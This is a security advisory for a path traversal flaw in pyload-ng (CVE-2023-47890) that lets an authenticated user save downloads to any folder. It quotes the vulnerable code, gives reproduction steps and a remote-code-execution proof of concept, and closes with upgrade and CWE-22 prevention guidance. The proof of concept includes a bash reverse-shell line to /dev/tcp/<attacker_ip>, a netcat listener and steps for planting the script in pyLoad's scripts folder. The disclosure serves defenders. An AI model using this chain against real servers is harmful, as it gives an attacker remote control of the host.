GHSA-h73m-pcfw-25h2 CVE-2023-47890 PYSEC-2026-1819

Download to arbitrary folder can lead to RCE

High PyPI

Severity: 7.6 / 10; High · CVSS 3.1
Exploit chance (EPSS): 1.06%; Chance of exploitation in the next 30 days. Higher than 64.50% of scored vulnerabilities.
Known exploited: No; Not in CISA's catalog
Weakness: CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Fix: 0.5.0b3.dev75; Upgrade pyload-ng to this version or later

Description

Summary

A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.

Details

When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.

src/pyload/core/api/init.py::add_package::L432

  folder = (
      folder.replace("http://", "")
      .replace("https://", "")
      .replace(":", "")
      .replace("/", "_")
      .replace("\\", "_")
  )

So if a package were created with the name "../" the application would instead create the folder "/downloads/.._/"

However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.

src/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195

  id = int(flask.request.form["pack_id"])
  data = {
      "name": flask.request.form["pack_name"],
      "_folder": flask.request.form["pack_folder"],
      "password": flask.request.form["pack_pws"],
  }

  api.set_package_data(id, data)

Steps to reproduce

Login to a pyLoad instance
Go to "Queue" and create a new package with any name and a valid link
Click "Edit Package" on the newly created package and set the folder as "/config/scripts/download_finished/"
Restart the package
Check the server filesystem and note the link was downloaded and stored inside "/config/scripts/download_finished/"

Remote code execution proof-of-concept

It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.

On attacker machine

Start a web server hosting a malicious script

echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attacker_ip>/9999 0>&1' > evil.sh&1
sudo python3 -m http.server 80

Start netcat listener for reverse shells

nc -vklp 9999

On pyLoad

Change pyLoad file permission settings

Change permissions of downloads: On Permission mode for downloaded files: 0744
Create a package with link pointing to the attacker

http://<attacker_ip>/evil.sh
Edit package and change folder to /config/scripts/package_deleted/
Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad
Delete any package package to trigger the script

Impact

An authenticated user can gain control over the underlying pyLoad server.

Affected versions

PyPI

Package	Vulnerable	Fixed in
pyload-ng	`< 0.5.0b3.dev75`	`0.5.0b3.dev75`

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

pyload-ng PyPI → `0.5.0b3.dev75`

pip

pip install --upgrade "pyload-ng>=0.5.0b3.dev75"

poetry

poetry add "pyload-ng>=0.5.0b3.dev75"

uv

uv add "pyload-ng>=0.5.0b3.dev75"

Severity breakdown

CVSS 3.1 7.6

CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Attack vector: Adjacent
Attack complexity: High
Privileges required: High
User interaction: None
Scope: Changed
Confidentiality: High
Integrity: High
Availability: High

Weakness

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it

Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Advisories

Packages

Timeline

Nov 21, 2023 Published
Jul 9, 2026 Last updated by the source
Oct 31, 2026 Latest EPSS score

Advisory	Severity	Why it's related
GHSA-68w4-83fh-f2w8 pyload-ng: getUserData/get_userdata exposed at Perms.ANY allow any authenticated account to brute-force the administrator password	High	Also affects pyload-ng
GHSA-9q47-3cm2-2rp8 pyLoad: Rate-Limit Bypass and Audit-Log Spoofing via Trusted Client-Controlled `X-Forwarded-For` Header	Medium	Also affects pyload-ng
GHSA-jq7h-wrvp-3rgx pyLoad: Privilege revocation and password change through the REST API do not invalidate the user's session	High	Also affects pyload-ng
GHSA-889w-m37p-88m5 pyLoad: Api.set_user_permission never invalidates the target's session	High	Also affects pyload-ng
GHSA-p3pr-8f3m-4qp8 pyLoad WindowsPhoneNotify addon: non-admin SETTINGS user triggers SSRF via unguarded http.client notification host	Medium	Also affects pyload-ng
GHSA-fr26-jjhm-638c pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)	High	Also affects pyload-ng
GHSA-r44w-v6gf-x3p6 pyLoad has an authentication bypass in API key validation (check_apikey cache)	High	Also affects pyload-ng
GHSA-j92p-c242-7hfx pyLoad: Unauthenticated access to /web/<path:filename> bypasses authentication on sensitive templates and leaks internal error details via exception attribute typo	Medium	Also affects pyload-ng

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